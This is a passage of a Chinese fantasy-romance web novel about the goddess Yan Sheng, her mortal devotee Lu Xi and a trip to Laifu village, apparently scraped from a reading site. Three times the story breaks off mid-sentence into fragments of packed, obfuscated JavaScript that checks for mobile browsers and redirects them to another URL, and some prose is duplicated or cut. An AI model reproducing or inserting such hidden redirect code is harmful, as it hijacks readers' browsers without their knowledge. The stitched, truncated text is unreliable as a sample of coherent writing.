最后这谣言变成:显熠殿的两个神使,撞见颜笙上神贴心地替凡人男子穿衣,而凡人男子替颜笙上神描眉,宛若一对新婚燕尔的夫妻。 颜笙仍不知外面将他们猜成何等模样,刚解开寝殿的屏障,瞧见圆胖橘窝在走廊,往嘴里塞小鱼干。 颜笙一把夺过小鱼干,当即施法把小鱼干超度了。圆胖橘眼睁睁看着小鱼从手心里活了过来,游去了无常间,心情好一阵郁闷。 颜笙摸了摸圆胖橘脑袋,“这是帮你积攒功德,助你早日修成地仙。” “爹爹的意思是,我能成为地仙。”圆胖橘面露喜色。 “轮回个百千万亿次,或许可以。”颜笙认真地思索了一会儿,看圆胖橘面色阴郁,又道:“没事,有陆析垫背。” 颜笙安慰完圆胖橘,便领着两人离开显熠殿,去炼丹房取走十颗延寿丹。一颗丹药能延长寿命十年,她分给陆析七颗,只给了圆胖橘三颗。 圆胖橘不满:“为什么增加的寿数这么少?” 颜笙道:“我不擅长炼丹,市面上变卖的丹药皆是下品,所以才带你上桃源赴宴。灵食增加的寿数堪比中品,偏偏你又挑食又闯祸。” “可是…….”圆胖橘捏着丹药,瞥向陆析的七颗丹药,不满道:“那他为什么是七颗?” 陆析没说话,把五枚丹药敛入囊中,伸掌托着剩下两枚。 颜笙知陆析想平分丹药,便按住他的手腕,低声道:“不必理会他。昨夜你陪我折腾了五个时辰,多出来的丹药是你应得的。” 周围传来剧烈的咳嗽声。 颜笙的视线幽幽飘过去,是有三位前来排队领药的仙人。咳嗽的仙人们看了颜笙一眼,赶紧把身形隐去,灰溜溜地逃离炼丹房。 陆析冷冷地看她一眼,刚才在显熠宫内,她明确表示不会和信徒在一起。这会儿又在人前,对他说出惹人误会的话语。 她就这般乐此不疲地玩弄他的心意,一如往昔。 其实颜笙并非有意撩拨陆析,碰他的手腕只是在反复确认他体内的灵力。 颜笙一直怀疑陆析就是陆归年。 但法力平凡、不能分担天道职责的陆归年,对她而言毫无作用,她也不想单方面尽妻子的义务。索性她也不去深究他的身份,就当他是个凡人。 外面谣言愈演愈烈。 颜笙毫无察觉,仍带着陆析和圆胖橘游览桃源境。 一路上陆析对颜笙的话爱答不理,始终低头生着闷气。圆胖橘没有他们两个体力充沛,退回橘猫形态,窝在颜笙的两仪袋里睡着了。 三人溜达到一处静谧地方,陆析突然抬头,指着附近一座高塔:“这座塔楼看着阴气围绕,我们还是回去吧。” 颜笙瞥过去,一眼认出这是桃源境的焚骨塔。她是故意绕到这里,这会儿到了,肯定不想听劝离开,便回答:“你瞧我会是怕阴气的?” 陆析奈不过,只好跟着颜笙进入焚骨塔。 焚骨塔是桃源境关押寻常罪仙的地方。 颜笙虽在画中帮助陆贺年弑神脱罪,但现实中陆贺年弑神后,陆贺年和张脆枣被贬入陀铃火渊,而子颜也经历了万年轮回惩罚变成今日的颜笙。 或许这塔里关着不少熟悉面孔。 比如说那位柔栀仙子,若与她回归的话。或许能抗衡一下神尊的威胁,这样她也不用着急去复活天道了。 颜笙想到这里,瞥了一眼陆析。 不到半炷香时间,两人登上楼顶。颜笙瞧见顶层的有一间牢房竟然是敞开的,站在门口隐约可见牢内的绰绰人影。 颜笙伸手触碰大门时,感知到多重神灵气息。这里原本应该有道天道遗留的封印,在天道覆灭后一百年,封印被人从外面毁去。 她突然有些好奇,这里究竟关押着谁? 陆析先一步推开房门,满屋灰尘扬出门外,直扑向发呆的颜笙,呛得她打个喷嚏。颜笙甩了甩帕子,等拍走尘土后,瞅见陆析早已甩开她走入深处。 牢房的地面结成一层厚厚的灰尘,墙面也是灰沉泛黄的颜色,像是老旧的纸张,就像山林间废弃小木屋的内部。 但终究是桃源境,再脏也不会招来蛇虫鼠蚁,屋顶丝毫没有残破的蜘蛛网。 里面踞坐着一位披散着满头霜发的男子,身着缀着明珠和绿松石的丝绸服饰,他余光瞄到走来的陆析,便抬起满是皱纹的脑袋。 陆析指尖弹出一道光,直冲而来。子幽下意识闭上眼睛,以为他是来处置自己的,但久久未有异样,却发现灵魂上的锁链断了。 子幽抬头看清楚来人,他的脸和陆归年相同,但穿着凡人的衣袍。 解开束缚的子幽没有感觉到轻舟已过万重山,神色愈发愀然,问道:“天道很久没来过这里,是彻底将她弄丢了?” 陆析摇头,“她在。只是不肯认前世的人或事,包括我在内。” 颜笙此刻刚跟上来,也听到了陆析刚才那句话,却也没什么反应。她检查了子幽身上的束缚,发现已经全部解开了,只说道:“我记得您......是我灵魂初诞时的父亲。” 子幽看到颜笙的脸,一时热意堵上心头,半晌说不出话。 颜笙倒是没那 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这也是为何子颜身为玄鸟公主,会和自己的杀父仇人双宿双栖。因为子幽的死也是这对翁婿做给神尊看的苦肉计。 颜笙道:“不过,刑部的卷宗里没有写着你的名字。” 子幽道:“当年陆贺年和你将所有人的罪责一并承担了,他被发配到陀铃火渊,而你去了幽冥。张脆枣和柔栀仙子两人潜逃,早已不知去向,其他涉案人侥幸逃过一劫。” “后来陆归年飞升成为天道,他有一种奇怪的力量,能瞬时抵消所有人的招数,亦可以修改自然运行的法则。他不光重新制定了仙法,还把过去的案子重新审理,替你做了平反,但再也找不到你的踪影了。” 颜笙想了想,“子颜背下罪责后,经历万年轮回,已经代你们受罚了。且我能够飞升,代表罚数已经结清,你们应该是无罪了。 子幽看了一眼陆析,“那还要问问天道的意思。” 颜笙知道他指的是陆析,却说:“我现在天道遗孀,比他这个凡人有资格放人。” 子幽心说,眼前的陆析不就是陆归年吗,但既然颜儿不认,必然是有她的道理。他叹了一口气,随后语气恭敬地说道:“颜笙上神,老夫久离尘世,日后还请多照拂。” 颜笙点点头,心里只想着身边多了个盟友。 子幽后续进入星移阁任职,那里是第三方中立之地,明面上他不站队。他性格爽朗又外形英俊,很快在桃源境站稳脚跟,成为一方势力。 这些是后话了。 * 及至黄昏,夕阳余晖洒落在鹤冲山的人面树叶片上。 风起时,树影摇曳,人面树的影子中分裂出人影。 颜笙送陆析到他的竹楼门口。 陆析推开竹屋的门,屋内三位鹤冲派的修士不约而同地回头,朝他们三口人望去。 其中两人分别是元沁雪和黍三刀,其中两人分别是元沁雪和黍三刀,另有一位长颈修士正剥着柠檬皮,身穿童子号道袍硬将腰身勒成沙漏。 长颈修士鹿不沾瞧见陆析和圆胖橘一大一小站在门外,又闻见幽幽的白蝉花香,便酸溜溜地说:“才失踪两日,孩子都能打酱油了。” 颜笙耳尖听见了两人的对话,拍拍圆胖橘,对他使了个眼色。那圆胖橘听到指令,瞬间塌下来,变成一只猫。 鹿不沾看不见颜笙,只看一眼地上的橘猫,对着陆析继续叨叨:“怎么还能生一只猫,是找了一只猫妖?” 房内唯一能看得见颜笙的元沁雪此时尴尬至极,手肘推推鹿不沾,说道:“鹿长老,那女子是神使。” “那也不对啊。”鹿不沾又掩嘴和元沁雪议论:“那也不对啊。神使是神仙,和人怎会生出一只猫?小陆不会是被绿了吧,神仙也不能这么欺负人。” 29. 引她入局 元沁雪一副自求多福的眼神看着鹿不沾,又提醒道:“鹿长老,站在你前面的是颜笙上神的神使,你声音再小她都听得见。” 鹿不沾相信元沁雪的话,她是半仙族,天生能看见混沌界以外的生灵。他吓得手不停颤抖,手里一滑,那颗剥光的柠檬落地,像颗小小的黄金球骨碌到门口。 颜笙弯腰拾起,指尖轻轻一弹,柠檬便轻飘飘掠过空气,落进陆析掌心:“你师叔这么关心你,把水果送过去。” 在鹿不沾眼里,柠檬分明是陡然升空,拐了个弧飞进陆析手里。 他转头看向黍三刀,见见对方瞪着乌溜溜的黑眼珠子,眼里已经没有光了,整个人都像医馆里被抓去试药的小白鼠了。看来黍三刀也看见了飞天柠檬。 难不成这里真有神使? 鹿不沾将信将疑地接过柠檬,浑浑噩噩一口咬下,一阵钻心的酸苦直冲天灵,牙根都要酸倒,胸口闷作一团,只觉那一日都忧郁起来。 怎会有这般酸苦的柠檬,定是有人动了手脚! 他忿忿不平地捂着一侧脸,低着头不敢吱声。 颜笙高挑秀眉,打量着鹿不沾忧郁落寞的模样,忍俊不禁。 陆析看出颜笙的把戏,忙低声为鹿不沾解释:“鹿长老负责处置抱朴派弟子纪律,所以平时对待弟子较严,并非冲着上神,还请见谅。” 颜笙打量着鹿不沾,这长脖子长老应该是长颈鹿精。 五百年前混沌界那场浩瀚劫数后,鹤冲山下人族逐渐灭绝,长颈鹿也因身材不利生存,后世也灭绝了。现在就只剩下些小生物苟存下来。 真是难得一遇长颈鹿精这等妖兽,况且他五感怪灵敏的。颜笙不吝夸赞:“根骨不错。飞升后可安排到凌云庙,接替瑶儿的位置。” 元沁雪轻舒一口气,拍了拍牙齿打颤的鹿不沾,“鹿师叔,要柳暗花明了。神使说你以后能飞升。” 鹿不沾循着白蝉花的香气,猜出颜笙就在不远处,便朝那个方向郑重一拜:“多谢神使。” 颜笙惊异于鹿不沾敏锐的嗅觉,点了点头,又对陆析嘱咐了几句,便与陆析和圆胖橘辞别离开。 鹿不沾立在门口,岣嵝着背,直到白蝉花的香气彻底散尽,才长出一口气,仰头往嘴里猛灌清水漱口。 他半晌方从酸里回神,转头慈祥看着陆析,苦口婆心道:“小陆啊,以色侍错人,尽头是悬崖峭壁。” 陆析:??? 黍三刀也劝道:“你庞师叔从末世洪水里捡你回来,可不是等着看你被颜笙上神打到魂飞魄散。” 鹿不沾闻言,赶紧支走屋内元沁雪,只剩陆析、黍三刀和鹿不沾三人相对。 黍三刀压低声音:“你这张脸像已故的鹤冲派掌门陆归年。要是让上神看见你用这张脸去撩拨她的神使,你以为她会放过你?” 陆析淡淡道:“他们当初也不怎么恩爱。” “恩不恩爱也轮不到你说评断。要不你把颜笙上神请下来问问?”鹿不沾说得过分激动,腰没立稳便是要倒地,不慎撞翻一盏茶碗。 陶瓷坠地,发出尖锐而清脆的声响。 这刺耳声音透过门缝传出,引得侧耳的颜笙闭了闭眼。 “是不怎么恩爱。”她站在人面树前,轻声呢喃。 颜笙不喜欢陆归年。这男人同她相处时纯情得很,总不求甚解却费尽心思地讨好她,净制造些她睃拉不上的惊喜。 当然,颜笙自认也应负一定责任。明知他讨好自己的能力有限,但为取得他的信任,只能假装欣喜,默许他按照自己的错误见解对她投其所好。 她不肯给他正确反馈,任由他如此恶性循环,使得他的表现完全不足取悦她。相处百年,印象甚至不及前日才露出真容的“张脆枣”。 不过回想起“张脆枣”的脸…… 颜笙忽而想明白了。归根到底,是她第一眼没看上陆归年,于是干脆连第二次机会也没给。 * 此后数日,颜笙投入忙碌的公务,偶尔会亲自审阅抱朴派的许愿,也想确定借机确定陆析是否就是陆归年。 可陆析从未向她许愿过,来到她神像前,也只是点些香烛和莲灯以表恭敬。 没等来陆析的动静,倒是引来了袁思邈。 子幽回到桃源境后,一眼相中同样人高马大的袁思邈,两人志同道合,很快结为友人。袁思邈好热闹,了解颜笙和子幽的关系后,自然要好事地登门造访。 颜笙本就已经和袁思邈结盟,这会儿因为子幽的关系,她与袁思邈自然不避讳,便将画中发生的事,简述给袁思邈听。 袁思邈听罢惊叹不已,“想不到颜笙上神竟是这等重情重义之人。” “那你之前以为我什么样?”颜笙笑容泠然,“薄情寡义,杀夫证道?” 袁思邈性子直来直往,竟直勾勾点头,“确实。” 颜笙也不恼,“那挺好。我就是对人不对事。” 袁思邈忽又提起一事:先前给他们两人送画之人,居然是宋姜露。 “宋姜露幽冥出身,那里的人多数都对陆贺年怀着信徒般的狂热。”袁思邈紧接着说道:“她托我之手送你画,恐怕想引你入画,然后回收这画献给陆贺年。或者说,他一直在暗处接引。” 颜笙思索片刻,她回来的转日清晨,并未见到宋姜露,或者什么可疑的身影。那日与她碰面的,也就只有崔瑶和甄婉。 她摇摇头,当即否认袁思邈的猜测:“哪有那么容易掳走我?我在画中幻境里见过陆贺年,他的仙力不足以与我抗衡。” 袁思邈却不以为然:“你遇见他时,他才飞升两年。可如今他比你多了一万年的道行,且身处陀铃火渊。在那等险境能活下来的,绝非普通的谪仙。” 陀铃火渊关押着自开天辟地以来所有的妖兽及谪仙,囚徒多是穷凶极恶之辈。渊底又物资匮乏,能存活万年,甚至能杀出血路逃出来的,力量上面肯定不容小觑。 颜笙领教过上古神灵的力量,那是能够碾压方今桃源境绝大多数神灵的存在,而更早之前神灵,只会更难对付。 袁思邈又道:“我打听过了,陆贺年入渊后,每日都与里面的妖兽谪仙搏斗,约摸三千年,便成为了里头的魔神头领。至于出来没出来倒是没听说,但我感觉大概率已经在外面了,不然也不会能指挥外面的小辈。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049744|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “被这么厉害的魔神盯上了,那我岂不是在劫难逃了?”颜笙虽这样说,语气却淡得听不出丝毫慌张。 袁思邈没看出她是在反讽,真诚安慰道:“反正天道没有死,他要是来劫人,估计天道也会出来阻止。到时候你们夫妇两个联手,应该可以应付。” 颜笙的关注点不在“联手”。她单打独斗惯了,不屑与人联手。但前面第一句话引起她的注意:“你说,天道没有死。” “或许。”袁思邈从怀中取出一页纸,是刑部册子的誊抄页,年份指向千年前,恰是天道遇害之年,“刑部档案皆是案发之时自然生成。可天道遇害那日,刑部并无任何弑神记录。而神界户籍档案里,依旧有天道的名字。” 二人就此略作讨论。颜笙翻看袁思邈所持的誊抄,又自行调阅神界户籍,果然与其所言吻合。 是陆归年真的没有死,还是刑部和户部同时疏忽了? 后者几率太小。且不论两个衙门同时失职,崔巍平日盯天道盯得紧,若真有机会,他必然抢着凿实天道之死。 说罢,袁思邈告辞而去。留颜笙一人,心底郁色缭绕。 事势远比她以为的更难。一个疑似未死的天道,一个在暗中盯着她的魔王,还有神尊的势力虎视眈眈。 适时,甄婉推门进来,笑嚷着与颜笙闲聊:“前两天我才知道,以前师父收养的那只猫,居然还在抱朴派。鹤冲派全员飞升,竟还漏了一个。” 颜笙点头:“说的是圆胖橘?那不奇怪。” 圆胖橘身上带着浅色罚印,想来是父母祖上三代有人犯过天罪,故而影响后代参与天勤境考入天庭。 他本人并不知情,颜笙与陆归年也未告知,只时常喂他延寿丹,让他今朝有命今朝活,并未期盼他悟道修仙。 “好端端的,怎提起他?”颜笙问。 甄婉从袖中取出今日凌云庙的许愿卷轴,递给颜笙:“他对着您的神像许愿,絮絮叨叨一大堆,崔瑶听得差点睡着。总而言之三个字——‘想见爹’。” “知道了。”颜笙点头。她本也打算下凡,看看陆析与圆胖橘。 “圆胖橘这孩子,当初刚上鹤冲山时——”甄婉一开口,便如一台永动的小炮,哔哔啵啵说起往事,师父长、师父短,说个没完。 说着说着,她瞧见颜笙神色淡淡,忽然意识到对方怕是听腻了,忙道歉:“师娘,要不我先喝口水,然后再继续说?” 坐在旁边的颜笙点了点头:“如此,甚好。” 甄婉这才后知后觉:这不是点头怪吗?师娘又去哪儿了? …… 颜笙借圆胖橘抱着的小像,降至丛林小屋。她进门时,瞧见旁边坐着一少年,低着头,怀里抱着一个挂着两条白色缎带的相框。 “圆胖橘?”她出声。 圆胖橘神色比平日成熟了几分,仿佛一夜长大。他抬头,眼睛肿得像一对核桃:“爹,陆析走了。”说着举起画框,里头是一幅未上色的肖像画——画上是陆析。 颜笙指了指画像:“你说,这是陆析?” 圆胖橘点点头。 颜笙深吸一口气:陆析,竟然死了? 30. 来福村(一) 颜笙头有点晕,瞥见周围有把椅子,她扶住椅背,怀疑自己先前听错了,便问道:“你刚才说的是什么?” 圆胖橘拱了拱鼻子,眼圈泛红:“陆析走了。” 颜笙不敢相信这话,就这么几天工夫,陆析居然死了。 颜笙询问:“谁干的?” 圆胖橘回答:“黍三刀、鹿不沾。” 颜笙一怔,她最后一次看见陆析时,他的确和那两人在一起。当时鹿不沾和黍三刀阻挠陆析和她来往,说是担心“颜笙上神”怪罪。 即便她手下的神使和陆析在一起了,她也不至于会报复陆析抑或是鹤冲派,他们的反应未免太过激了。 “圆胖橘,确定没看错?” 圆胖橘小鸡捣米似的点头,“黍三刀说,如今抱朴派太过闭门造车,实战能力差,所以他要弟子们分批下山伏妖。这会儿陆析跟着鹿不沾下山了。” “陆析没死?”颜笙悬着的心刚放下,当下又产生一种被愚弄的愤怒感,“那你哭什么?” 圆胖橘托腮,像看着傻子似的:“屋里就剩我了,爹爹你还不理我,能不委屈吗?” 颜笙指着圆胖橘怀中的陆析画像:“那你没事做,抱着个黑白画像干什么?” 圆胖橘红着眼圈,指了指自己的脚,脚趾头肿得像皮球:“相框突然掉下来,正巧砸到脚了。抬不起来,可疼了。” 颜笙瞅一眼圆胖橘的两条全脂胳膊,发出一声叹息,随后单手把那相框子抬走:“罢了罢了,这段日子,你跟我回桃源境。“ 至于陆析…… 下山伏妖本就是修真门派的义务。 过去,无论颜笙的金蝉派,还是天道的鹤冲派,所有修行的人族修士都要定期下山完成村民的委托,用来换取修真联盟的拨款。 后来人族灭绝,由于人族组成的修真联盟也同样覆灭,精怪本就是伏妖的主要目标,由精怪组成的修真门派大都闻之色变,更何谈重启这项活动? 如今由抱朴派重启,倒不失为一个让弟子见识世面的机会。 “下山会有风险吗?”圆胖橘忽而自言自语:“陆析分到的是来福村,会有很多妖怪吗?” “妖怪倒是挺多。”颜笙抚摸着圆胖橘的头,“不过,那可是个好地方,你就更不用担心了。” 来福村是一处风景宜人的旅游村。 村内主要居民为萝卜精,村长是一只叫季福来的鸡精。如果是来福村居民委派的伏妖任务,多半是惩罚偷萝卜的兔妖或者偷鸡的黄皮子。 圆胖橘走前却问:“可是爹,你不担心他下山见过世面,以后就不再信奉你了吗?” 颜笙不以为意,“我有兆数信徒。” 圆胖橘道:“之前在桃源境的仙葩苑,爹说过喜欢他来着。” 颜笙凝神思考,她差点忘了这茬。 为了避免被崔巍强行乱点鸳鸯,她情急之下拉陆析假装仙侣。现在在三界仙人眼里,她的人设是正在追求肖似天道的凡人男子。 心爱之人第一次下山伏妖,她怎么也该保驾护航。 况且,袁思邈说天道未亡,这陆析似乎和陆归年有些渊源……… 不过她最近没什么时间去看陆析。 颜笙身为礼官,负责桃源境宴会筹办。每个重要节日都需要她大忙碌,还有二十四节气日等小节也需要她小忙碌。 再过段日子便是惊蛰,花朝节渐渐临近,她这段日子就要投入到花朝盛会的筹备中了。 万事总有变数,今年的花朝节筹备前,神尊的宠妃影妃,也就是百花宫的花影,突然到访显熠宫。 花影是来找颜笙诉苦。崔巍欲纳新妃,花影为此事和崔巍大吵一架,最近到处哭唧唧地串门。 颜笙摇摇头,对这种事也并不感到意外。 崔巍风流多情,有权势又有甜言蜜语,不走心地说两句好话,就将路边站岗的花影哄成他的家花。可是花无百日红,等他新鲜感过去,红艳家花就成了正月过后的剪纸窗花。 花影见颜笙总有一搭没一搭的,为提起她的注意,随口提了一句,“要不这次花朝节就不办了。” 颜笙瞪着杏目,“这怎么能不办了?” 花影看见窃喜,心说人果然只关心自己利害相关的事,她又把刚才的抱怨向颜笙重复一遍。 颜笙这次听得认真,时不时露出同仇敌忾的表情。 等花影闭嘴,她开口安慰道:“花朝节之前,神尊应该不会正式提及纳妃之事。最多不过要那女子亮相。” 花影被颜笙拱火,气呼呼道:“我的生辰,不想看他带别的女人给我添堵。你要不帮我拦下她,或者故意卡她的入场请柬。” 颜笙面露难色:“不让她出席怎么行?同为女子,我对你的心情深表理解。但神尊要请的人,谁都拦不住。” 花影听完,心情更是郁闷:“都到生日了,风头还让别人抢了!那女人生前是人族妖妃,红颜祸水,一人灭一国!还是在最鼎盛之时灭国!难道你要你要看桃源境灭境吗?” 灭境也不是神尊说得算,神尊全家都好大的口气。 颜笙表面笑嘻嘻,在心里翻了个白眼,心里当即萌生给神尊添堵的念头,便是献策道:“身为寿星,本该是被特别优待的。可是仙子历年生辰,连愿望都没有许下过。” 花影目光一闪,忙道:“对啊,要不我拿起寿星特权,要求神尊和我单独庆生。总之,这花朝庆典不办了!” “欸,不办宴会了这怎么可以呢。除你之外还有其他神仙要趁着这时间休息呢。”颜笙却突然变脸,顺坡卖点委屈:“回头神尊该怪我偷懒了。” “这是我自己的主意,和你有什么关系。”花影将花朝节宴会取消的事包在自己身上,“你可不能多手去筹备了,其他的事包在我身上。” 颜笙换回喜色,“那麻烦您了。回头我托婉儿给您捎点凝烟寒蝉花的花种。” 花影回去之后不知是如何折腾的,三日后,崔巍无奈地宣布,今年取消花朝节的庆典,所有神仙放一日的带薪假。 甄婉事后去送花种,随后带来消息。 崔巍放弃公布新妃,在花朝节那日会和花影单独庆生,而这段日子崔巍为了平息他的家事风波,要给礼部补贴,全部按照官职最高待遇补贴灵石。 崔瑶突然向颜笙提议,他们显熠宫的神仙不妨在趁此机会放个假。 颜笙知道她是想回幽冥看望张脆枣,便是同意道:“正巧,我也想去幽冥逛逛。” 崔瑶却道:“我这次不回幽冥。我和义父约好要去来福村花朝庆典,听说那里比桃源境的庆典还要热闹。” 来福村?不就是陆析所在的地方。 颜笙算了算,近期她不需要忙碌宴会,这段日子包括节日当天,足足有二十日的假日,比年假还要厚实。 她正好可以顺便看看陆析。 来福村的花朝庆典如期举行,可村子地界小,为保证游客体验,每逢庆典日子会设置容纳上限。今年因赶上桃源境休沐,来福村的入场券更是一票难求。 袁思邈听闻颜笙要去来福村,便递给颜笙一封信函,说他认识来福村的村长季福来的第十八代祖宗,可以委托他们通融一下。 这封信的确让颜笙顺利进入了来福村,而村长季福来听说颜笙是袁思邈的朋友,邀请颜笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门口传来轻轻的敲门声,鹿不沾摆了摆手,让陆析过去开门。 陆析推开门,看见颜笙满面尴尬地站在外面,随即想到鹿不沾刚才的口出狂言,便不出声比了个口型:“抱歉。” 颜笙同样无声地动动唇:“无妨。” 元沁雪这时抱着一筐柠檬回来,瞧见门口的颜笙,嚷嚷道:“神使,你怎么也来这里。” 鹿不沾闻见浓烈的白蝉花香,转头看向门口,见到门口杵着一位容貌韵致的高挑女子,标准人族相貌,肤色莹莹发亮,五官不圆不长,三停五眼均匀。 突然间,他明白陆析坚持清心寡欲五百年,却在近日春心萌动,要不是因为他是一匹牡鹿,恐怕也很难不动心。 颜笙觉察鹿不沾的打量目光,忽而问道:“鹿长老,刚才是谁说要做颜笙上神的面首?” 鹿不沾遇事果断,从不拖泥带水,举手一指陆析:“他。” 颜笙好笑地看着陆析,眼睛弯得明媚,嘴角憋着笑意,说道:“刚才是你说颜笙上神抠门?” 陆析没说话,鹿不沾挺起胸膛,指着陆析,一副大义灭亲的表情,“是他,还是他。他一直抱怨延寿丹太少。” 颜笙一听就知道鹿不沾在甩锅,便顺水推舟说道:“既然这样,我会如实汇报给上神。至于延寿丹....” 她从怀里拿出一颗上品延寿丹,这是袁思邈炼制的,她好不容得来三颗,便拿出一颗递给陆析,“我替上神大方一次,如何?” 31. 来福村(二) 鹿不沾见状,心中懊悔无比,这等好事明明是他的却落到陆析身上,恶狠狠要了一口柠檬,酸溜溜地离开。 陆析知道颜笙根本没把这事放心上,对她而言,世上她在乎的事只有生死。 陆析招待颜笙进屋,问道:“你怎会来到这里,最近桃源境应该也有花朝节才是?” “休沐日来这里散散心。”颜笙深深叹一口气,装作委屈表示:“神尊和他的宠妾闹别扭,他们临时变卦,取消了今年的花朝庆典,显熠宫本月的灵石泡汤了。” 其实此次休沐受波及者甚广,诸仙难免有所非议,崔巍通过耳目获悉大伙的意思,便后续表示灵俸照样分发。更主要的,崔巍为诸仙注销了本季的考成。 不光如此,颜笙私底下还经营着果园的副业。这两日因为休沐,很多仙人赋闲在家,她那里的订单比原先多了,收入比平日多了不少。 陆析不知颜笙的算盘打得亮,还以为颜笙近来手头拮据,便提议带着她出门散心。 来福村,一听村名就知道是“群英荟萃”的地方,来福两字在古语中是萝卜的意思,这里的居民主要是萝卜精,同时还有少量的鸡精。 这个村子的村长便是鸡精,据说祖辈是大庚宰相家的鸡,后来宰相一家得道,鸡犬也没飞天,倒是在鹤冲山下建了来福村。 如今大庚早已变为万岁之丘墟,来福村依然保留大庚的坊市布局,以方方正正的坊墙阻隔村内与外界,琳琅的建筑贴着坊墙而建。 这隅地方虽小,却能观赏到人族史所有出现过的绚烂文明,同样庙宇里供奉着各式本地或外地的神仙,也有不少庙宇供奉着颜笙。 颜笙瞧见信徒从她庙宇里出来,抱出个慈眉善目老太太雕像,让她有点哭笑不得。 不远处搭着个戏台子,它离着颜笙庙宇较近,说给心愿得成的信徒用来酬颜笙上神的,上面偶尔有排演着各式各样的大戏,今日下个时辰还有一场。 说是供颜笙观赏的戏曲,但其实颜笙公务繁忙,看不到这里的戏,平时会看戏的都是她的神使。 这次莅临来福村,颜笙想去凑个热闹,但怕庙里的神使认出她,便张罗着陆析陪她买个面具乔装打扮一番。 坊内有道十字街,将坊内分为四大部分,里面排布着横街或者巷道,沿着十字街道行走,两侧全是每十几步就是一条小路,每条路两侧全都是大小货摊。 颜笙挑得花眼,偶然瞥见一面大头娃娃面具,咧着哈哈大笑的嘴,眼睛眯得像狐狸,她觉得好玩,挂在脸上试戴。 她瞧一眼正认真挑选面具的陆析,便踮起脚尖凑近,再轻轻拍他的肩膀。 陆析回头,先是鼻尖微微撞上那副面具,接着视线里撞入进去那张无限放大的笑脸,他怔了怔。 那人撩开那人面具,露出颜笙那张白玉生香的脸,朱唇微启:“这副面具倒是不错,和我平日里的形象完全相反。” 陆析木讷地点了一下头,立刻把头扭回去,以掩饰内心的汹涌波澜,然后心不在焉地在挑面具。 颜笙手拿了一只娃娃面具,那是和她的笑脸相衬的面具,她把那面具贴在陆析脸上。 纤柔的手指绕到陆析颈后,替他系上那副面具,陆析紧身子,冰凉的指尖触碰他的皮肤,而白蝉花香嚣张钻入他的心脾。 颜笙说道:“别磨磨蹭蹭了,回头那边的戏演完,你还在这里挑面具。” 陆析没说话,从袋子里拿出十枚铜板。颜笙拦着他,说道:“你陪我过来,哪有你出钱的道理。” 颜笙拿两仪袋,掏出一枚灵石,不过那摊贩还是拿了陆析的铜板,说道:“小娘子不是混沌界的人吧,这里只认鸡福通宝。” 她面露尴尬地向陆析道谢。太久没下过凡,早就忘记混沌界该如何生活。这会儿幸好有陆析在,不然她可真是栽了大面了。 两人返程的路上,陆析不免问道:“这些年,上神很少下凡?” 颜笙点头,传音抱怨道:“仙人们都怪我杀夫证道,要为天道复仇,前面九百年,每天都有仙人对我下战书约我单挑。为此,我每日都坚持修行,一刻也不松懈。也就最近一百年没有挑战者了。” 听颜笙这么说,陆析心说不对劲。 他什么时候在桃源人缘这么好了,为保持天道的权威,平时不和任何神仙亲近。 陆析问:“九百年,听上去半个桃源的仙人都与你结仇。” 颜笙否认道:“确实有一半,几乎桃源所有的男仙,女仙也有一点,但是只是零星几个。看来我女人缘真不错。”她笑眯眯地自我安慰道。 陆析越听越觉得不对劲,“感觉这里面是有误会?桃源何时变得跟深渊似的好斗?” 颜笙道:“约我半夜三更去蟾宫赏月,还说不让我带着其他人去,还说他们也不带着,这不就是两人决斗?” 她说完这话,瞧见陆析没说话,她怕陆析不信,继续补充:“月黑风高,能是做什么见得人的事。” 陆析无奈地敲一下颜笙的面具,试图把她的面具揭下,但颜笙握住他手腕,“你做什么?” “颜笙上神总是防备心很重。”陆析叹了一口气,她把别人的示好都理解成决斗,这也难怪会误会他杀她八十世。 颜笙摘下脸上的面具,放入他的怀中,反驳道:“对你,我还算防备得深?平日里哪里信徒能见到上神?” 带着她体温的面具在他怀中,笑眯眯地看着他。 陆析对朝着她深深一瞥,似乎内里有些东西松动了。却又怕重蹈覆辙,再度迎来全线的崩盘。 现在,他作为她的信徒,对她的情感应该止于恭敬,不该再多一点妄想。 这时候的颜笙对陆析决意疏离她这件事无知无觉,想着离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那面虚幻的镜中出现了一张脸,那张脸粗精观察,并不和颜笙一模一样。镜面下方浮现“子颜”的名字,后面标注着灵魂所属玄鸟。 镜中女子的长相和颜笙差不多,虽然不至于一模一样,但都身材高挑,都仰着脖子,显得格外打眼,老白并未多作怀疑。 老白突然说道:“子颜,我看你的名下还有一笔财产,本金是三百万两银子,鉴于你万年未曾取出,这些年利滚利,外加上通货膨胀,现在应该有足足五千万。” “我居然能攒这么多?”颜笙有些惊讶。 老白查看储蓄的记录,不觉摇摇头,他压低声音:“是陆归年留给您的,就是已故的天道。 颜笙愣住,可真是一笔灿烂的遗产! 32. 来福村(三) 老白说:“这笔财产是以灵魂为名储蓄的,所以您无论是在幽冥还是桃源,只要灵魂是子颜,随时可以取出。” 颜笙对此并不感到意外,几个月前她曾经去过一次陆归年凡间的墓。 她用法眼视察见深埋土下的陆归年棺木,右边紧挨着一枚小棺椁,里面放着一套女子玄鸟女子的服装,身边有着大量陪葬物,这应该代表的子颜。 